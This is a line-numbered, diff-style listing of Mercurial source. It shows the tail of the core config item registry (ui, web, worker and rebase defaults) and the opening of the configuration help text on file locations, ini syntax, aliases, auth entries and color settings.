2337 2337 coreconfigitem(
2338 2338 b'ui',
2339 2339 b'_usedassubrepo',
2340 2340 default=False,
2341 2341 )
2342 2342 coreconfigitem(
2343 2343 b'ui',
2344 2344 b'allowemptycommit',
2345 2345 default=False,
2346 2346 )
2347 2347 coreconfigitem(
2348 2348 b'ui',
2349 2349 b'archivemeta',
2350 2350 default=True,
2351 2351 )
2352 2352 coreconfigitem(
2353 2353 b'ui',
2354 2354 b'askusername',
2355 2355 default=False,
2356 2356 )
2357 2357 coreconfigitem(
2358 2358 b'ui',
2359 2359 b'available-memory',
2360 2360 default=None,
2361 2361 )
2362 2362
2363 2363 coreconfigitem(
2364 2364 b'ui',
2365 2365 b'clonebundlefallback',
2366 2366 default=False,
2367 2367 )
2368 2368 coreconfigitem(
2369 2369 b'ui',
2370 2370 b'clonebundleprefers',
2371 2371 default=list,
2372 2372 )
2373 2373 coreconfigitem(
2374 2374 b'ui',
2375 2375 b'clonebundles',
2376 2376 default=True,
2377 2377 )
2378 2378 coreconfigitem(
2379 2379 b'ui',
2380 2380 b'color',
2381 2381 default=b'auto',
2382 2382 )
2383 2383 coreconfigitem(
2384 2384 b'ui',
2385 2385 b'commitsubrepos',
2386 2386 default=False,
2387 2387 )
2388 2388 coreconfigitem(
2389 2389 b'ui',
2390 2390 b'debug',
2391 2391 default=False,
2392 2392 )
2393 2393 coreconfigitem(
2394 2394 b'ui',
2395 2395 b'debugger',
2396 2396 default=None,
2397 2397 )
2398 2398 coreconfigitem(
2399 2399 b'ui',
2400 2400 b'editor',
2401 2401 default=dynamicdefault,
2402 2402 )
2403 2403 coreconfigitem(
2404 2404 b'ui',
2405 2405 b'detailed-exit-code',
2406 2406 default=False,
2407 2407 experimental=True,
2408 2408 )
2409 2409 coreconfigitem(
2410 2410 b'ui',
2411 2411 b'fallbackencoding',
2412 2412 default=None,
2413 2413 )
2414 2414 coreconfigitem(
2415 2415 b'ui',
2416 2416 b'forcecwd',
2417 2417 default=None,
2418 2418 )
2419 2419 coreconfigitem(
2420 2420 b'ui',
2421 2421 b'forcemerge',
2422 2422 default=None,
2423 2423 )
2424 2424 coreconfigitem(
2425 2425 b'ui',
2426 2426 b'formatdebug',
2427 2427 default=False,
2428 2428 )
2429 2429 coreconfigitem(
2430 2430 b'ui',
2431 2431 b'formatjson',
2432 2432 default=False,
2433 2433 )
2434 2434 coreconfigitem(
2435 2435 b'ui',
2436 2436 b'formatted',
2437 2437 default=None,
2438 2438 )
2439 2439 coreconfigitem(
2440 2440 b'ui',
2441 2441 b'interactive',
2442 2442 default=None,
2443 2443 )
2444 2444 coreconfigitem(
2445 2445 b'ui',
2446 2446 b'interface',
2447 2447 default=None,
2448 2448 )
2449 2449 coreconfigitem(
2450 2450 b'ui',
2451 2451 b'interface.chunkselector',
2452 2452 default=None,
2453 2453 )
2454 2454 coreconfigitem(
2455 2455 b'ui',
2456 2456 b'large-file-limit',
2457 2457 default=10 * (2 ** 20),
2458 2458 )
2459 2459 coreconfigitem(
2460 2460 b'ui',
2461 2461 b'logblockedtimes',
2462 2462 default=False,
2463 2463 )
2464 2464 coreconfigitem(
2465 2465 b'ui',
2466 2466 b'merge',
2467 2467 default=None,
2468 2468 )
2469 2469 coreconfigitem(
2470 2470 b'ui',
2471 2471 b'mergemarkers',
2472 2472 default=b'basic',
2473 2473 )
2474 2474 coreconfigitem(
2475 2475 b'ui',
2476 2476 b'message-output',
2477 2477 default=b'stdio',
2478 2478 )
2479 2479 coreconfigitem(
2480 2480 b'ui',
2481 2481 b'nontty',
2482 2482 default=False,
2483 2483 )
2484 2484 coreconfigitem(
2485 2485 b'ui',
2486 2486 b'origbackuppath',
2487 2487 default=None,
2488 2488 )
2489 2489 coreconfigitem(
2490 2490 b'ui',
2491 2491 b'paginate',
2492 2492 default=True,
2493 2493 )
2494 2494 coreconfigitem(
2495 2495 b'ui',
2496 2496 b'patch',
2497 2497 default=None,
2498 2498 )
2499 2499 coreconfigitem(
2500 2500 b'ui',
2501 2501 b'portablefilenames',
2502 2502 default=b'warn',
2503 2503 )
2504 2504 coreconfigitem(
2505 2505 b'ui',
2506 2506 b'promptecho',
2507 2507 default=False,
2508 2508 )
2509 2509 coreconfigitem(
2510 2510 b'ui',
2511 2511 b'quiet',
2512 2512 default=False,
2513 2513 )
2514 2514 coreconfigitem(
2515 2515 b'ui',
2516 2516 b'quietbookmarkmove',
2517 2517 default=False,
2518 2518 )
2519 2519 coreconfigitem(
2520 2520 b'ui',
2521 2521 b'relative-paths',
2522 2522 default=b'legacy',
2523 2523 )
2524 2524 coreconfigitem(
2525 2525 b'ui',
2526 2526 b'remotecmd',
2527 2527 default=b'hg',
2528 2528 )
2529 2529 coreconfigitem(
2530 2530 b'ui',
2531 2531 b'report_untrusted',
2532 2532 default=True,
2533 2533 )
2534 2534 coreconfigitem(
2535 2535 b'ui',
2536 2536 b'rollback',
2537 2537 default=True,
2538 2538 )
2539 2539 coreconfigitem(
2540 2540 b'ui',
2541 2541 b'signal-safe-lock',
2542 2542 default=True,
2543 2543 )
2544 2544 coreconfigitem(
2545 2545 b'ui',
2546 2546 b'slash',
2547 2547 default=False,
2548 2548 )
2549 2549 coreconfigitem(
2550 2550 b'ui',
2551 2551 b'ssh',
2552 2552 default=b'ssh',
2553 2553 )
2554 2554 coreconfigitem(
2555 2555 b'ui',
2556 2556 b'ssherrorhint',
2557 2557 default=None,
2558 2558 )
2559 2559 coreconfigitem(
2560 2560 b'ui',
2561 2561 b'statuscopies',
2562 2562 default=False,
2563 2563 )
2564 2564 coreconfigitem(
2565 2565 b'ui',
2566 2566 b'strict',
2567 2567 default=False,
2568 2568 )
2569 2569 coreconfigitem(
2570 2570 b'ui',
2571 2571 b'style',
2572 2572 default=b'',
2573 2573 )
2574 2574 coreconfigitem(
2575 2575 b'ui',
2576 2576 b'supportcontact',
2577 2577 default=None,
2578 2578 )
2579 2579 coreconfigitem(
2580 2580 b'ui',
2581 2581 b'textwidth',
2582 2582 default=78,
2583 2583 )
2584 2584 coreconfigitem(
2585 2585 b'ui',
2586 2586 b'timeout',
2587 2587 default=b'600',
2588 2588 )
2589 2589 coreconfigitem(
2590 2590 b'ui',
2591 2591 b'timeout.warn',
2592 2592 default=0,
2593 2593 )
2594 2594 coreconfigitem(
2595 2595 b'ui',
2596 2596 b'timestamp-output',
2597 2597 default=False,
2598 2598 )
2599 2599 coreconfigitem(
2600 2600 b'ui',
2601 2601 b'traceback',
2602 2602 default=False,
2603 2603 )
2604 2604 coreconfigitem(
2605 2605 b'ui',
2606 2606 b'tweakdefaults',
2607 2607 default=False,
2608 2608 )
2609 2609 coreconfigitem(b'ui', b'username', alias=[(b'ui', b'user')])
2610 2610 coreconfigitem(
2611 2611 b'ui',
2612 2612 b'verbose',
2613 2613 default=False,
2614 2614 )
2615 2615 coreconfigitem(
2616 2616 b'verify',
2617 2617 b'skipflags',
2618 2618 default=0,
2619 2619 )
2620 2620 coreconfigitem(
2621 2621 b'web',
2622 2622 b'allowbz2',
2623 2623 default=False,
2624 2624 )
2625 2625 coreconfigitem(
2626 2626 b'web',
2627 2627 b'allowgz',
2628 2628 default=False,
2629 2629 )
2630 2630 coreconfigitem(
2631 2631 b'web',
2632 2632 b'allow-pull',
2633 2633 alias=[(b'web', b'allowpull')],
2634 2634 default=True,
2635 2635 )
2636 2636 coreconfigitem(
2637 2637 b'web',
2638 2638 b'allow-push',
2639 2639 alias=[(b'web', b'allow_push')],
2640 2640 default=list,
2641 2641 )
2642 2642 coreconfigitem(
2643 2643 b'web',
2644 2644 b'allowzip',
2645 2645 default=False,
2646 2646 )
2647 2647 coreconfigitem(
2648 2648 b'web',
2649 2649 b'archivesubrepos',
2650 2650 default=False,
2651 2651 )
2652 2652 coreconfigitem(
2653 2653 b'web',
2654 2654 b'cache',
2655 2655 default=True,
2656 2656 )
2657 2657 coreconfigitem(
2658 2658 b'web',
2659 2659 b'comparisoncontext',
2660 2660 default=5,
2661 2661 )
2662 2662 coreconfigitem(
2663 2663 b'web',
2664 2664 b'contact',
2665 2665 default=None,
2666 2666 )
2667 2667 coreconfigitem(
2668 2668 b'web',
2669 2669 b'deny_push',
2670 2670 default=list,
2671 2671 )
2672 2672 coreconfigitem(
2673 2673 b'web',
2674 2674 b'guessmime',
2675 2675 default=False,
2676 2676 )
2677 2677 coreconfigitem(
2678 2678 b'web',
2679 2679 b'hidden',
2680 2680 default=False,
2681 2681 )
2682 2682 coreconfigitem(
2683 2683 b'web',
2684 2684 b'labels',
2685 2685 default=list,
2686 2686 )
2687 2687 coreconfigitem(
2688 2688 b'web',
2689 2689 b'logoimg',
2690 2690 default=b'hglogo.png',
2691 2691 )
2692 2692 coreconfigitem(
2693 2693 b'web',
2694 2694 b'logourl',
2695 2695 default=b'https://mercurial-scm.org/',
2696 2696 )
2697 2697 coreconfigitem(
2698 2698 b'web',
2699 2699 b'accesslog',
2700 2700 default=b'-',
2701 2701 )
2702 2702 coreconfigitem(
2703 2703 b'web',
2704 2704 b'address',
2705 2705 default=b'',
2706 2706 )
2707 2707 coreconfigitem(
2708 2708 b'web',
2709 2709 b'allow-archive',
2710 2710 alias=[(b'web', b'allow_archive')],
2711 2711 default=list,
2712 2712 )
2713 2713 coreconfigitem(
2714 2714 b'web',
2715 2715 b'allow_read',
2716 2716 default=list,
2717 2717 )
2718 2718 coreconfigitem(
2719 2719 b'web',
2720 2720 b'baseurl',
2721 2721 default=None,
2722 2722 )
2723 2723 coreconfigitem(
2724 2724 b'web',
2725 2725 b'cacerts',
2726 2726 default=None,
2727 2727 )
2728 2728 coreconfigitem(
2729 2729 b'web',
2730 2730 b'certificate',
2731 2731 default=None,
2732 2732 )
2733 2733 coreconfigitem(
2734 2734 b'web',
2735 2735 b'collapse',
2736 2736 default=False,
2737 2737 )
2738 2738 coreconfigitem(
2739 2739 b'web',
2740 2740 b'csp',
2741 2741 default=None,
2742 2742 )
2743 2743 coreconfigitem(
2744 2744 b'web',
2745 2745 b'deny_read',
2746 2746 default=list,
2747 2747 )
2748 2748 coreconfigitem(
2749 2749 b'web',
2750 2750 b'descend',
2751 2751 default=True,
2752 2752 )
2753 2753 coreconfigitem(
2754 2754 b'web',
2755 2755 b'description',
2756 2756 default=b"",
2757 2757 )
2758 2758 coreconfigitem(
2759 2759 b'web',
2760 2760 b'encoding',
2761 2761 default=lambda: encoding.encoding,
2762 2762 )
2763 2763 coreconfigitem(
2764 2764 b'web',
2765 2765 b'errorlog',
2766 2766 default=b'-',
2767 2767 )
2768 2768 coreconfigitem(
2769 2769 b'web',
2770 2770 b'ipv6',
2771 2771 default=False,
2772 2772 )
2773 2773 coreconfigitem(
2774 2774 b'web',
2775 2775 b'maxchanges',
2776 2776 default=10,
2777 2777 )
2778 2778 coreconfigitem(
2779 2779 b'web',
2780 2780 b'maxfiles',
2781 2781 default=10,
2782 2782 )
2783 2783 coreconfigitem(
2784 2784 b'web',
2785 2785 b'maxshortchanges',
2786 2786 default=60,
2787 2787 )
2788 2788 coreconfigitem(
2789 2789 b'web',
2790 2790 b'motd',
2791 2791 default=b'',
2792 2792 )
2793 2793 coreconfigitem(
2794 2794 b'web',
2795 2795 b'name',
2796 2796 default=dynamicdefault,
2797 2797 )
2798 2798 coreconfigitem(
2799 2799 b'web',
2800 2800 b'port',
2801 2801 default=8000,
2802 2802 )
2803 2803 coreconfigitem(
2804 2804 b'web',
2805 2805 b'prefix',
2806 2806 default=b'',
2807 2807 )
2808 2808 coreconfigitem(
2809 2809 b'web',
2810 2810 b'push_ssl',
2811 2811 default=True,
2812 2812 )
2813 2813 coreconfigitem(
2814 2814 b'web',
2815 2815 b'refreshinterval',
2816 2816 default=20,
2817 2817 )
2818 2818 coreconfigitem(
2819 2819 b'web',
2820 2820 b'server-header',
2821 2821 default=None,
2822 2822 )
2823 2823 coreconfigitem(
2824 2824 b'web',
2825 2825 b'static',
2826 2826 default=None,
2827 2827 )
2828 2828 coreconfigitem(
2829 2829 b'web',
2830 2830 b'staticurl',
2831 2831 default=None,
2832 2832 )
2833 2833 coreconfigitem(
2834 2834 b'web',
2835 2835 b'stripes',
2836 2836 default=1,
2837 2837 )
2838 2838 coreconfigitem(
2839 2839 b'web',
2840 2840 b'style',
2841 2841 default=b'paper',
2842 2842 )
2843 2843 coreconfigitem(
2844 2844 b'web',
2845 2845 b'templates',
2846 2846 default=None,
2847 2847 )
2848 2848 coreconfigitem(
2849 2849 b'web',
2850 2850 b'view',
2851 2851 default=b'served',
2852 2852 experimental=True,
2853 2853 )
2854 2854 coreconfigitem(
2855 2855 b'worker',
2856 2856 b'backgroundclose',
2857 2857 default=dynamicdefault,
2858 2858 )
2859 2859 # Windows defaults to a limit of 512 open files. A buffer of 128
2860 2860 # should give us enough headway.
2861 2861 coreconfigitem(
2862 2862 b'worker',
2863 2863 b'backgroundclosemaxqueue',
2864 2864 default=384,
2865 2865 )
2866 2866 coreconfigitem(
2867 2867 b'worker',
2868 2868 b'backgroundcloseminfilecount',
2869 2869 default=2048,
2870 2870 )
2871 2871 coreconfigitem(
2872 2872 b'worker',
2873 2873 b'backgroundclosethreadcount',
2874 2874 default=4,
2875 2875 )
2876 2876 coreconfigitem(
2877 2877 b'worker',
2878 2878 b'enabled',
2879 2879 default=True,
2880 2880 )
2881 2881 coreconfigitem(
2882 2882 b'worker',
2883 2883 b'numcpus',
2884 2884 default=None,
2885 2885 )
2886 2886
2887 2887 # Rebase related configuration moved to core because other extension are doing
2888 2888 # strange things. For example, shelve import the extensions to reuse some bit
2889 2889 # without formally loading it.
2890 2890 coreconfigitem(
2891 2891 b'commands',
2892 2892 b'rebase.requiredest',
2893 2893 default=False,
2894 2894 )
2895 2895 coreconfigitem(
2896 2896 b'experimental',
2897 2897 b'rebaseskipobsolete',
2898 2898 default=True,
2899 2899 )
2900 2900 coreconfigitem(
2901 2901 b'rebase',
2902 2902 b'singletransaction',
2903 2903 default=False,
2904 2904 )
2905 2905 coreconfigitem(
2906 2906 b'rebase',
2907 2907 b'experimental.inmemory',
2908 2908 default=False,
2909 2909 )
2910 2910
2911 2911 # This setting controls creation of a rebase_source extra field
2912 2912 # during rebase. When False, no such field is created. This is
2913 2913 # useful eg for incrementally converting changesets and then
2914 2914 # rebasing them onto an existing repo.
2915 2915 # WARNING: this is an advanced setting reserved for people who know
2916 2916 # exactly what they are doing. Misuse of this setting can easily
2917 2917 # result in obsmarker cycles and a vivid headache.
2918 2918 coreconfigitem(
2919 2919 b'rebase',
2920 2920 b'store-source',
2921 2921 default=True,
2922 2922 experimental=True,
2923 2923 )
@@ -1,3383 +1,3383 b''
1 1 The Mercurial system uses a set of configuration files to control
2 2 aspects of its behavior.
3 3
4 4 Troubleshooting
5 5 ===============
6 6
7 7 If you're having problems with your configuration,
8 8 :hg:`config --source` can help you understand what is introducing
9 9 a setting into your environment.
10 10
11 11 See :hg:`help config.syntax` and :hg:`help config.files`
12 12 for information about how and where to override things.
13 13
14 14 Structure
15 15 =========
16 16
17 17 The configuration files use a simple ini-file format. A configuration
18 18 file consists of sections, led by a ``[section]`` header and followed
19 19 by ``name = value`` entries::
20 20
21 21 [ui]
22 22 username = Firstname Lastname <firstname.lastname@example.net>
23 23 verbose = True
24 24
25 25 The above entries will be referred to as ``ui.username`` and
26 26 ``ui.verbose``, respectively. See :hg:`help config.syntax`.
27 27
28 28 Files
29 29 =====
30 30
31 31 Mercurial reads configuration data from several files, if they exist.
32 32 These files do not exist by default and you will have to create the
33 33 appropriate configuration files yourself:
34 34
35 35 Local configuration is put into the per-repository ``<repo>/.hg/hgrc`` file.
36 36
37 37 Global configuration like the username setting is typically put into:
38 38
39 39 .. container:: windows
40 40
41 41 - ``%USERPROFILE%\mercurial.ini`` (on Windows)
42 42
43 43 .. container:: unix.plan9
44 44
45 45 - ``$HOME/.hgrc`` (on Unix, Plan9)
46 46
47 47 The names of these files depend on the system on which Mercurial is
48 48 installed. ``*.rc`` files from a single directory are read in
49 49 alphabetical order, later ones overriding earlier ones. Where multiple
50 50 paths are given below, settings from earlier paths override later
51 51 ones.
52 52
53 53 .. container:: verbose.unix
54 54
55 55 On Unix, the following files are consulted:
56 56
57 57 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
58 58 - ``<repo>/.hg/hgrc`` (per-repository)
59 59 - ``$HOME/.hgrc`` (per-user)
60 60 - ``${XDG_CONFIG_HOME:-$HOME/.config}/hg/hgrc`` (per-user)
61 61 - ``<install-root>/etc/mercurial/hgrc`` (per-installation)
62 62 - ``<install-root>/etc/mercurial/hgrc.d/*.rc`` (per-installation)
63 63 - ``/etc/mercurial/hgrc`` (per-system)
64 64 - ``/etc/mercurial/hgrc.d/*.rc`` (per-system)
65 65 - ``<internal>/*.rc`` (defaults)
66 66
67 67 .. container:: verbose.windows
68 68
69 69 On Windows, the following files are consulted:
70 70
71 71 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
72 72 - ``<repo>/.hg/hgrc`` (per-repository)
73 73 - ``%USERPROFILE%\.hgrc`` (per-user)
74 74 - ``%USERPROFILE%\Mercurial.ini`` (per-user)
75 75 - ``%HOME%\.hgrc`` (per-user)
76 76 - ``%HOME%\Mercurial.ini`` (per-user)
77 77 - ``HKEY_LOCAL_MACHINE\SOFTWARE\Mercurial`` (per-system)
78 78 - ``<install-dir>\hgrc.d\*.rc`` (per-installation)
79 79 - ``<install-dir>\Mercurial.ini`` (per-installation)
80 80 - ``%PROGRAMDATA%\Mercurial\hgrc`` (per-system)
81 81 - ``%PROGRAMDATA%\Mercurial\Mercurial.ini`` (per-system)
82 82 - ``%PROGRAMDATA%\Mercurial\hgrc.d\*.rc`` (per-system)
83 83 - ``<internal>/*.rc`` (defaults)
84 84
85 85 .. note::
86 86
87 87 The registry key ``HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mercurial``
88 88 is used when running 32-bit Python on 64-bit Windows.
89 89
90 90 .. container:: verbose.plan9
91 91
92 92 On Plan9, the following files are consulted:
93 93
94 94 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
95 95 - ``<repo>/.hg/hgrc`` (per-repository)
96 96 - ``$home/lib/hgrc`` (per-user)
97 97 - ``<install-root>/lib/mercurial/hgrc`` (per-installation)
98 98 - ``<install-root>/lib/mercurial/hgrc.d/*.rc`` (per-installation)
99 99 - ``/lib/mercurial/hgrc`` (per-system)
100 100 - ``/lib/mercurial/hgrc.d/*.rc`` (per-system)
101 101 - ``<internal>/*.rc`` (defaults)
102 102
103 103 Per-repository configuration options only apply in a
104 104 particular repository. This file is not version-controlled, and
105 105 will not get transferred during a "clone" operation. Options in
106 106 this file override options in all other configuration files.
107 107
108 108 .. container:: unix.plan9
109 109
110 110 On Plan 9 and Unix, most of this file will be ignored if it doesn't
111 111 belong to a trusted user or to a trusted group. See
112 112 :hg:`help config.trusted` for more details.
113 113
114 114 Per-user configuration file(s) are for the user running Mercurial. Options
115 115 in these files apply to all Mercurial commands executed by this user in any
116 116 directory. Options in these files override per-system and per-installation
117 117 options.
118 118
119 119 Per-installation configuration files are searched for in the
120 120 directory where Mercurial is installed. ``<install-root>`` is the
121 121 parent directory of the **hg** executable (or symlink) being run.
122 122
123 123 .. container:: unix.plan9
124 124
125 125 For example, if installed in ``/shared/tools/bin/hg``, Mercurial
126 126 will look in ``/shared/tools/etc/mercurial/hgrc``. Options in these
127 127 files apply to all Mercurial commands executed by any user in any
128 128 directory.
129 129
130 130 Per-installation configuration files are for the system on
131 131 which Mercurial is running. Options in these files apply to all
132 132 Mercurial commands executed by any user in any directory. Registry
133 133 keys contain PATH-like strings, every part of which must reference
134 134 a ``Mercurial.ini`` file or be a directory where ``*.rc`` files will
135 135 be read. Mercurial checks each of these locations in the specified
136 136 order until one or more configuration files are detected.
137 137
138 138 Per-system configuration files are for the system on which Mercurial
139 139 is running. Options in these files apply to all Mercurial commands
140 140 executed by any user in any directory. Options in these files
141 141 override per-installation options.
142 142
143 143 Mercurial comes with some default configuration. The default configuration
144 144 files are installed with Mercurial and will be overwritten on upgrades. Default
145 145 configuration files should never be edited by users or administrators but can
146 146 be overridden in other configuration files. So far the directory only contains
147 147 merge tool configuration but packagers can also put other default configuration
148 148 there.
149 149
150 150 On versions 5.7 and later, if share-safe functionality is enabled,
151 151 shares will read config file of share source too.
152 152 `<share-source/.hg/hgrc>` is read before reading `<repo/.hg/hgrc>`.
153 153
154 154 For configs which should not be shared, `<repo/.hg/hgrc-not-shared>`
155 155 should be used.
156 156
157 157 Syntax
158 158 ======
159 159
160 160 A configuration file consists of sections, led by a ``[section]`` header
161 161 and followed by ``name = value`` entries (sometimes called
162 162 ``configuration keys``)::
163 163
164 164 [spam]
165 165 eggs=ham
166 166 green=
167 167 eggs
168 168
169 169 Each line contains one entry. If the lines that follow are indented,
170 170 they are treated as continuations of that entry. Leading whitespace is
171 171 removed from values. Empty lines are skipped. Lines beginning with
172 172 ``#`` or ``;`` are ignored and may be used to provide comments.
173 173
174 174 Configuration keys can be set multiple times, in which case Mercurial
175 175 will use the value that was configured last. As an example::
176 176
177 177 [spam]
178 178 eggs=large
179 179 ham=serrano
180 180 eggs=small
181 181
182 182 This would set the configuration key named ``eggs`` to ``small``.
183 183
184 184 It is also possible to define a section multiple times. A section can
185 185 be redefined on the same and/or on different configuration files. For
186 186 example::
187 187
188 188 [foo]
189 189 eggs=large
190 190 ham=serrano
191 191 eggs=small
192 192
193 193 [bar]
194 194 eggs=ham
195 195 green=
196 196 eggs
197 197
198 198 [foo]
199 199 ham=prosciutto
200 200 eggs=medium
201 201 bread=toasted
202 202
203 203 This would set the ``eggs``, ``ham``, and ``bread`` configuration keys
204 204 of the ``foo`` section to ``medium``, ``prosciutto``, and ``toasted``,
205 205 respectively. As you can see there only thing that matters is the last
206 206 value that was set for each of the configuration keys.
207 207
208 208 If a configuration key is set multiple times in different
209 209 configuration files the final value will depend on the order in which
210 210 the different configuration files are read, with settings from earlier
211 211 paths overriding later ones as described on the ``Files`` section
212 212 above.
213 213
214 214 A line of the form ``%include file`` will include ``file`` into the
215 215 current configuration file. The inclusion is recursive, which means
216 216 that included files can include other files. Filenames are relative to
217 217 the configuration file in which the ``%include`` directive is found.
218 218 Environment variables and ``~user`` constructs are expanded in
219 219 ``file``. This lets you do something like::
220 220
221 221 %include ~/.hgrc.d/$HOST.rc
222 222
223 223 to include a different configuration file on each computer you use.
224 224
225 225 A line with ``%unset name`` will remove ``name`` from the current
226 226 section, if it has been set previously.
227 227
228 228 The values are either free-form text strings, lists of text strings,
229 229 or Boolean values. Boolean values can be set to true using any of "1",
230 230 "yes", "true", or "on" and to false using "0", "no", "false", or "off"
231 231 (all case insensitive).
232 232
233 233 List values are separated by whitespace or comma, except when values are
234 234 placed in double quotation marks::
235 235
236 236 allow_read = "John Doe, PhD", brian, betty
237 237
238 238 Quotation marks can be escaped by prefixing them with a backslash. Only
239 239 quotation marks at the beginning of a word is counted as a quotation
240 240 (e.g., ``foo"bar baz`` is the list of ``foo"bar`` and ``baz``).
241 241
242 242 Sections
243 243 ========
244 244
245 245 This section describes the different sections that may appear in a
246 246 Mercurial configuration file, the purpose of each section, its possible
247 247 keys, and their possible values.
248 248
249 249 ``alias``
250 250 ---------
251 251
252 252 Defines command aliases.
253 253
254 254 Aliases allow you to define your own commands in terms of other
255 255 commands (or aliases), optionally including arguments. Positional
256 256 arguments in the form of ``$1``, ``$2``, etc. in the alias definition
257 257 are expanded by Mercurial before execution. Positional arguments not
258 258 already used by ``$N`` in the definition are put at the end of the
259 259 command to be executed.
260 260
261 261 Alias definitions consist of lines of the form::
262 262
263 263 <alias> = <command> [<argument>]...
264 264
265 265 For example, this definition::
266 266
267 267 latest = log --limit 5
268 268
269 269 creates a new command ``latest`` that shows only the five most recent
270 270 changesets. You can define subsequent aliases using earlier ones::
271 271
272 272 stable5 = latest -b stable
273 273
274 274 .. note::
275 275
276 276 It is possible to create aliases with the same names as
277 277 existing commands, which will then override the original
278 278 definitions. This is almost always a bad idea!
279 279
280 280 An alias can start with an exclamation point (``!``) to make it a
281 281 shell alias. A shell alias is executed with the shell and will let you
282 282 run arbitrary commands. As an example, ::
283 283
284 284 echo = !echo $@
285 285
286 286 will let you do ``hg echo foo`` to have ``foo`` printed in your
287 287 terminal. A better example might be::
288 288
289 289 purge = !$HG status --no-status --unknown -0 re: | xargs -0 rm -f
290 290
291 291 which will make ``hg purge`` delete all unknown files in the
292 292 repository in the same manner as the purge extension.
293 293
294 294 Positional arguments like ``$1``, ``$2``, etc. in the alias definition
295 295 expand to the command arguments. Unmatched arguments are
296 296 removed. ``$0`` expands to the alias name and ``$@`` expands to all
297 297 arguments separated by a space. ``"$@"`` (with quotes) expands to all
298 298 arguments quoted individually and separated by a space. These expansions
299 299 happen before the command is passed to the shell.
300 300
301 301 Shell aliases are executed in an environment where ``$HG`` expands to
302 302 the path of the Mercurial that was used to execute the alias. This is
303 303 useful when you want to call further Mercurial commands in a shell
304 304 alias, as was done above for the purge alias. In addition,
305 305 ``$HG_ARGS`` expands to the arguments given to Mercurial. In the ``hg
306 306 echo foo`` call above, ``$HG_ARGS`` would expand to ``echo foo``.
307 307
308 308 .. note::
309 309
310 310 Some global configuration options such as ``-R`` are
311 311 processed before shell aliases and will thus not be passed to
312 312 aliases.
313 313
314 314
315 315 ``annotate``
316 316 ------------
317 317
318 318 Settings used when displaying file annotations. All values are
319 319 Booleans and default to False. See :hg:`help config.diff` for
320 320 related options for the diff command.
321 321
322 322 ``ignorews``
323 323 Ignore white space when comparing lines.
324 324
325 325 ``ignorewseol``
326 326 Ignore white space at the end of a line when comparing lines.
327 327
328 328 ``ignorewsamount``
329 329 Ignore changes in the amount of white space.
330 330
331 331 ``ignoreblanklines``
332 332 Ignore changes whose lines are all blank.
333 333
334 334
335 335 ``auth``
336 336 --------
337 337
338 338 Authentication credentials and other authentication-like configuration
339 339 for HTTP connections. This section allows you to store usernames and
340 340 passwords for use when logging *into* HTTP servers. See
341 341 :hg:`help config.web` if you want to configure *who* can login to
342 342 your HTTP server.
343 343
344 344 The following options apply to all hosts.
345 345
346 346 ``cookiefile``
347 347 Path to a file containing HTTP cookie lines. Cookies matching a
348 348 host will be sent automatically.
349 349
350 350 The file format uses the Mozilla cookies.txt format, which defines cookies
351 351 on their own lines. Each line contains 7 fields delimited by the tab
352 352 character (domain, is_domain_cookie, path, is_secure, expires, name,
353 353 value). For more info, do an Internet search for "Netscape cookies.txt
354 354 format."
355 355
356 356 Note: the cookies parser does not handle port numbers on domains. You
357 357 will need to remove ports from the domain for the cookie to be recognized.
358 358 This could result in a cookie being disclosed to an unwanted server.
359 359
360 360 The cookies file is read-only.
361 361
362 362 Other options in this section are grouped by name and have the following
363 363 format::
364 364
365 365 <name>.<argument> = <value>
366 366
367 367 where ``<name>`` is used to group arguments into authentication
368 368 entries. Example::
369 369
370 370 foo.prefix = hg.intevation.de/mercurial
371 371 foo.username = foo
372 372 foo.password = bar
373 373 foo.schemes = http https
374 374
375 375 bar.prefix = secure.example.org
376 376 bar.key = path/to/file.key
377 377 bar.cert = path/to/file.cert
378 378 bar.schemes = https
379 379
380 380 Supported arguments:
381 381
382 382 ``prefix``
383 383 Either ``*`` or a URI prefix with or without the scheme part.
384 384 The authentication entry with the longest matching prefix is used
385 385 (where ``*`` matches everything and counts as a match of length
386 386 1). If the prefix doesn't include a scheme, the match is performed
387 387 against the URI with its scheme stripped as well, and the schemes
388 388 argument, q.v., is then subsequently consulted.
389 389
390 390 ``username``
391 391 Optional. Username to authenticate with. If not given, and the
392 392 remote site requires basic or digest authentication, the user will
393 393 be prompted for it. Environment variables are expanded in the
394 394 username letting you do ``foo.username = $USER``. If the URI
395 395 includes a username, only ``[auth]`` entries with a matching
396 396 username or without a username will be considered.
397 397
398 398 ``password``
399 399 Optional. Password to authenticate with. If not given, and the
400 400 remote site requires basic or digest authentication, the user
401 401 will be prompted for it.
402 402
403 403 ``key``
404 404 Optional. PEM encoded client certificate key file. Environment
405 405 variables are expanded in the filename.
406 406
407 407 ``cert``
408 408 Optional. PEM encoded client certificate chain file. Environment
409 409 variables are expanded in the filename.
410 410
411 411 ``schemes``
412 412 Optional. Space separated list of URI schemes to use this
413 413 authentication entry with. Only used if the prefix doesn't include
414 414 a scheme. Supported schemes are http and https. They will match
415 415 static-http and static-https respectively, as well.
416 416 (default: https)
417 417
418 418 If no suitable authentication entry is found, the user is prompted
419 419 for credentials as usual if required by the remote.
420 420
421 421 ``cmdserver``
422 422 -------------
423 423
424 424 Controls command server settings. (ADVANCED)
425 425
426 426 ``message-encodings``
427 427 List of encodings for the ``m`` (message) channel. The first encoding
428 428 supported by the server will be selected and advertised in the hello
429 429 message. This is useful only when ``ui.message-output`` is set to
430 430 ``channel``. Supported encodings are ``cbor``.
431 431
432 432 ``shutdown-on-interrupt``
433 433 If set to false, the server's main loop will continue running after
434 434 SIGINT received. ``runcommand`` requests can still be interrupted by
435 435 SIGINT. Close the write end of the pipe to shut down the server
436 436 process gracefully.
437 437 (default: True)
438 438
439 439 ``color``
440 440 ---------
441 441
442 442 Configure the Mercurial color mode. For details about how to define your custom
443 443 effect and style see :hg:`help color`.
444 444
445 445 ``mode``
446 446 String: control the method used to output color. One of ``auto``, ``ansi``,
447 447 ``win32``, ``terminfo`` or ``debug``. In auto mode, Mercurial will
448 448 use ANSI mode by default (or win32 mode prior to Windows 10) if it detects a
449 449 terminal. Any invalid value will disable color.
450 450
451 451 ``pagermode``
452 452 String: optional override of ``color.mode`` used with pager.
453 453
454 454 On some systems, terminfo mode may cause problems when using
455 455 color with ``less -R`` as a pager program. less with the -R option
456 456 will only display ECMA-48 color codes, and terminfo mode may sometimes
457 457 emit codes that less doesn't understand. You can work around this by
